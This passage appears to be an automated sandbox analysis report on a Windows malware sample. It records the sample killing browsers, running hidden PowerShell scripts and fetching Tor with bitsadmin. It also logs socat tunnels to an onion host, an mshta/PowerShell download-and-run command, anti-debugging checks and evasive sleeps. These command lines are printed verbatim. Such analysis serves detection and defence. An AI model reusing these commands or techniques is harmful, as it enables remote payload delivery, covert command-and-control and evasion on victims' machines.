Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im firefox.exe
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im chrome.exe
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\U5f96EAq.ps1' \| find /v '' >> 'C:\Users\user~1\AppData\Local\Temp\user-PC.log'
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\ProgramData\C4CqRww6.ps1'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /v ''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ' -y 'C:\Users\user~1\AppData\Local\Temp\QKB6w.zip'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /b /c bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\ProgramData\7za.exe 'C:\ProgramData\7za.exe' x -o'C:\ProgramData\VitBTKxRu' -y 'C:\Users\user~1\AppData\Local\Temp\sX7raTm2LP.zip'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer /download /priority HIGH 'https://torproject.urown.net/dist/torbrowser/7.0.8/tor-win32-0.3.1.7.zip' 'C:\Users\user~1\AppData\Local\Temp\8LtgeHPulp.zip'
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('tor.exe',0,False))
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050',0,False))
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050',0,False))
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))
Source: C:\Windows\System32\taskeng.exe	Process created: unknown unknown
Source: C:\Windows\System32\mshta.exe	Process created: C:\ProgramData\VitBTKxRu\Tor\tor.exe 'C:\ProgramData\VitBTKxRu\Tor\tor.exe'
Source: C:\Windows\System32\mshta.exe	Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:80,socksport=9050
Source: C:\Windows\System32\mshta.exe	Process created: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe 'C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe' tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:y6r2er4d6iyyrbzl.onion:5588,socksport=9050
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' '$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.DownloadString('http://api.ipify.org/'),$F);& $F'
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ep Unrestricted -f 'C:\Users\user~1\AppData\Local\Temp\3s7V1nHq.ps1'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /v ''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\9kehql3e.cmdline'
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user~1\AppData\Local\Temp\RES8E7D.tmp' 'c:\Users\user\AppData\Local\Temp\CSC8E0E.tmp'
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Contains functionality to communicate with device drivers

Show sources

Source: C:\ProgramData\7za.exe

Code function: 6_2_0040BACB: DeviceIoControl,DeviceIoControl,DeviceIoControl,DeviceIoControl,

6_2_0040BACB

Creates mutexes

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Mutant created: \Sessions\1\BaseNamedObjects\brtirxtTEexrxt
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Found potential string decryption / allocating functions

Show sources

Source: C:\ProgramData\7za.exe	Code function: String function: 00407A18 appears 180 times
Source: C:\ProgramData\7za.exe	Code function: String function: 0046B890 appears 624 times

PE file does not import any functions

Show sources

Source: 9kehql3e.dll.35.dr

Static PE information: No import functions for PE file found

Reads the hosts file

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Sample file is different than original file name gathered from version info

Show sources

Source: bbtsvbq.exe	Binary or memory string: OriginalFilenamewship6.dll.muij% vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenamewshom.ocx vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenamewshtcpip.dll.muij% vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: System.OriginalFileName vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenameMSXML3R.dllX vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenameSETUPAPI.DLL.MUIj% vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenamescrrun.dllV vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: originalfilename vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenamemsado15.dllj% vs bbtsvbq.exe
Source: bbtsvbq.exe	Binary or memory string: OriginalFilenameKernelbasej% vs bbtsvbq.exe

Searches for the Microsoft Outlook file path

Show sources

Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: C:\Windows\System32\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Powershell connects to network

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 104.20.73.28 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 212.51.156.17 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 89.45.235.21 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 192.30.253.112 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 192.30.253.121 443
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 174.129.241.106 80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Network Connect: 93.184.221.200 443

Powershell drops PE file

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\ProgramData\7za.exe

HIPS / PFW / Operating System Protection Evasion:

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: bbtsvbq.exe, taskeng.exe	Binary or memory string: Progman
Source: bbtsvbq.exe, taskeng.exe	Binary or memory string: Program Manager
Source: bbtsvbq.exe, taskeng.exe	Binary or memory string: Shell_TrayWnd

Uses taskkill to terminate processes

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im iexplore.exe
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im firefox.exe
Source: C:\Users\user\Desktop\bbtsvbq.exe	Process created: C:\Windows\System32\taskkill.exe 'C:\Windows\System32\taskkill.exe' /F /im chrome.exe

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Show sources

Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\mshta.exe mshta.exe vbscript:close(CreateObject('WScript.Shell').Run('powershell.exe ''$F=$env:Temp+'\\xeAcHBDS.exe';rm -Force $F;$cl=(New-Object Net.WebClient);$cl.DownloadFile('http://127.0.0.1:5555/0dTRgfA.asp?ts&ip='+$cl.Download'+'String('http://api.ipify.org/'),$F);& $F''',0,False))

Found C# or VB.Net code to silently install a certificate (surpess security dialog)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\9kehql3e.0.cs

Anti Debugging:

Contains functionality to register its own exception handler

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B1CBB SetUnhandledExceptionFilter,	1_2_013B1CBB
Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B1B6D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_013B1B6D
Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B1A4A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_013B1A4A
Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B4743 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_013B4743
Source: C:\ProgramData\7za.exe	Code function: 6_2_0046E6AA SetUnhandledExceptionFilter,	6_2_0046E6AA
Source: C:\ProgramData\7za.exe	Code function: 6_2_0046E6BC SetUnhandledExceptionFilter,	6_2_0046E6BC

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory allocated: page read and write and page guard

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

System information queried: KernelDebuggerInformation

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Code function: 1_2_013B1B6D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_013B1B6D

Contains functionality to dynamically determine API calls

Show sources

Source: C:\ProgramData\7za.exe

Code function: 6_2_00471C24 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00471C24

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Code function: 1_2_013B4D30 mov eax, dword ptr fs:[00000030h]

1_2_013B4D30

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe

Code function: 1_2_013B7B23 GetProcessHeap,

1_2_013B7B23

Enables debug privileges

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Process token adjusted: Debug
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Malware Analysis System Evasion:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Code function: 1_2_013B6ECA FindFirstFileExA,	1_2_013B6ECA
Source: C:\ProgramData\7za.exe	Code function: 6_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	6_2_0040B174
Source: C:\ProgramData\7za.exe	Code function: 6_2_0040B6E9 __EH_prolog,FindFirstFileW,GetCurrentDirectoryW,	6_2_0040B6E9

Contains functionality to query system information

Show sources

Source: C:\ProgramData\7za.exe

Code function: 6_2_0040C5F4 GetSystemInfo,

6_2_0040C5F4

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: cached-microdescs.new.13.dr	Binary or memory string: ntor-onion-key 3N4WrVMCiVfr4fi9YWJA59/qb8YGTKvg8zeFsIE7MDU=
Source: unverified-microdesc-consensus.tmp.13.dr, cached-microdesc-consensus.tmp.13.dr	Binary or memory string: m LSAkc0pvTGWqeMUm+vxtmYkwt7JvgTfHo62w9+0O/F8
Source: cached-microdescs.new.13.dr	Binary or memory string: ntor-onion-key 85TobZi987xjVa4vMcIk4U2MCo7WxesUm8fD0zOJpG0=
Source: tor.exe, cached-microdescs.new.13.dr	Binary or memory string: MIGJAoGBAMeJpSyO1qlPpDXtW27+ieynz3Z+qEmudMH9du0aYBrjqcbYPPt/xsFd
Source: cached-microdescs.new.13.dr	Binary or memory string: id ed25519 oBcWh18xyuWrMnRfRQEMUl6fxGEBpOQPVBqsQRTgWN0
Source: cached-microdescs.new.13.dr	Binary or memory string: id ed25519 vA9zbcE+2YhiQRkUAt5LvMCijbpUW4Op15qrMlKqy+s

Program exit points

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	API call chain: ExitProcess graph end node	graph_1-8207
Source: C:\Users\user\Desktop\bbtsvbq.exe	API call chain: ExitProcess graph end node	graph_1-6729
Source: C:\ProgramData\7za.exe	API call chain: ExitProcess graph end node	graph_6-55276
Source: C:\ProgramData\7za.exe	API call chain: ExitProcess graph end node	graph_6-55277

Queries a list of all running processes

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Contains long sleeps (>= 3 min)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Enumerates the file system

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9kehql3e.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\it\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\es\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net452\fr\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net35\de\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net20\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll
Source: C:\ProgramData\7za.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\2HVmGbfK7qLuRZ\lib\net40\es\Microsoft.Win32.TaskScheduler.resources.dll

Found large amount of non-executed APIs

Show sources

Source: C:\ProgramData\7za.exe	API coverage: 8.0 %
Source: C:\ProgramData\VitBTKxRu\OZEImhRAzl\socat.exe	API coverage: 1.4 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe TID: 3748	Thread sleep time: -720000s >= -60s
Source: C:\Users\user\Desktop\bbtsvbq.exe TID: 3752	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3904	Thread sleep time: -4611686018427385s >= -60s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3908	Thread sleep time: -500s >= -60s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3908	Thread sleep time: -12000s >= -60s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3988	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3908	Thread sleep time: -500s >= -60s
Source: C:\Windows\System32\bitsadmin.exe TID: 3968	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\taskeng.exe TID: 4000	Thread sleep time: -100s >= -60s
Source: C:\Windows\System32\taskeng.exe TID: 4020	Thread sleep time: -120000s >= -60s
Source: C:\Windows\System32\mshta.exe TID: 4072	Thread sleep time: -120000s >= -60s
Source: C:\Windows\System32\mshta.exe TID: 2272	Thread sleep time: -120000s >= -60s
Source: C:\Windows\System32\mshta.exe TID: 2512	Thread sleep time: -120000s >= -60s
Source: C:\Windows\System32\mshta.exe TID: 2560	Thread sleep time: -120000s >= -60s
Source: C:\Windows\System32\taskkill.exe TID: 2580	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\taskkill.exe TID: 2376	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\taskkill.exe TID: 2476	Thread sleep time: -60000s >= -60s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2388	Thread sleep time: -922337203685477s >= -60s

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\bbtsvbq.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
